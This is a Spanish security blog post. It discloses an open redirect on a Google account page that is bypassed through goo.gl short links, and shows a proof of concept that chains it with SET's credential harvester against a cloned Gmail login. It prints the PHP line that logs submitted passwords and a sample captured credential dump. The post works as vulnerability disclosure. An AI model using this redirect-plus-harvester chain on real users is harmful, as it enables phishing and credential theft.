Mostrando entradas con la etiqueta open redirect. Mostrar todas las entradas
Mostrando entradas con la etiqueta open redirect. Mostrar todas las entradas

11 julio 2015

Google Open Redirect + SET

Buenas a todos!

 Hoy me gustaría enseñaros un fallo (que ya adelanto que google no lo ve como tal ya que dice que esta “Out of Scope”) que a mi parecer puede ser usado para fines maliciosos si se utiliza de manera malintencionada.

 En concreto el fallo es un Open Redirect. Este fallo como muchos sabréis esta recogido en la OWASP e incluso fue un fallo recogido en este proyecto dentro del TOP 10 en el 2013.

 Bueno... vamos a ello! Si vamos a https://myaccount.google.com y miramos el source de la página veremos la siguiente redirección:




Dicha redirección es interesante ya que según parece una vez finalizado el formulario seremos redirigidos de nuevo a http://myaccount.google.com.

Intentamos primero modificar el parametro continue con “http://www.example.com”. Esto nos mostrará un error 404 y nos dirá que la página no existe:


Es muy pronto para rendirnos aún... según podemos ver la redirección se hace, pero seguramente sea únicamente a dominios de google... para poder aprovechar esto vamos a usar el servicio que nos permite acortar URLs que nos permite google: http://goo.gl

Una vez creada la URL vamos a intentar utilizar tal que así:

https://security.google.com/settings/security/secureaccount?continue=http://goo.gl/SAQ0Gk

¡Ahora sí! Una vez terminado el formulario somos redirigidos a la página que hayamos puesto en http://goo.gl

Como podéis ver, realizando el ataque de esta manera hemos podido redirigir a una página externa usando un servicio de google.

Este escenario podría ser perfecto para una campaña de phishing donde por ejemplo un atacante se hiciera pasar por el servicio técnico de google pidiendonos que verifiquemos la seguridad de la cuenta para finalmente acabar en una página de phishing con el fin de robarnos los credenciales o ser redirigido a un exploit kit y comprometer nuestra máquina.

Para ver este posible escenario vamos a realizar una prueba de concepto. Par ello usaremos:

[*] Víctima
  • Windows

[*] Atacante
  • Linux
  • Set Toolkit
  • Dominio Fraudulento

Para poder realizar esta poc vamos a usar SET y clonar la página de gmail.com. Para ello nos valdremos del ataque “Credential Harvester Attack Method” que nos permitirá clonar dicha página y una vez la víctima inserte su usuario/contraseña será redirigido a la página original.

¿Cómo realiza esto SET? Pues es tan fácil como la siguiente linea de código que contiene post.php:


<?php $file = 'harvester_2015-06-13 16:16:34.695876.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=https://accounts.google.com" />

Como podéis observar hace un put de los parámetros POST introducidos por el usuario dentro de un fichero que se genera el mismo y posteriormente hace un refresh de la página y redirige a “https://accounts.google.com".

En un entorno real, este dominio debería estar registrado y controlado por el atacante pero para nuestra poc he modificado el fichero hosts y he puesto el dominio “joogle.com” (podéis usar el que más os guste) que redirigirá dichas peticiones a la máquina del atacante.

Un vez realizado todo esto solo falta enviar un email a la víctima o cualquier otra vía de ingeniería social y esperar ver si finalmente la víctima ingresa sus datos en nuestra página de phishing.

Sí todo va bien veremos en el fichero llamado harvester_* lo siguiente:
Array
(
[GALX] => aePsgdFkA-A
[continue] => https://accounts.google.com/ManageAccount
[followup] => https://accounts.google.com/ManageAccount
[_utf8] => ☃
[bgresponse] => !YmFCjHSy8J4p7k9EfsdhbaflTtoPAAQeCP83CgBlXtGQrSD2cA002GKnfiHDe42cdD6z91d8rPg2oQRPJHJW3IJ2gdb5VjT0sCIpNWdMAcu9rUwnc3rKcKvB5-OFAtZSfy19yJ5zXCzP67yOLOeMrb3uDXnzBQVIkBAzt471DHB5QSpcqAA7xpQv4Z2HRIj12JJdLzQ
[pstMsg] => 1
[dnConn] =>
[checkConnection] =>
[checkedDomains] => youtube
[Email] => user@gmail.com
[Passwd] => passw0rd
[signIn] => Sign in
[PersistentCookie] => yes
[rmShown] => 1

) 
Y de esta manera, usando un dominio legítimo de google y su servicio goo.gl podemos llegar a ser víctimas de un robo de credenciales que a mi parecer se podría evitar restringiendo goo.gl al igual que se han restringido todos aquellos dominios no pertenecientes a google.

Vosotros que opináis, ¿Es un fallo? ¿No lo es? … se aceptan críticas :)

 Saludos!

Artículo cortestía de Sergio Galán @NaxoneZ
Leer más...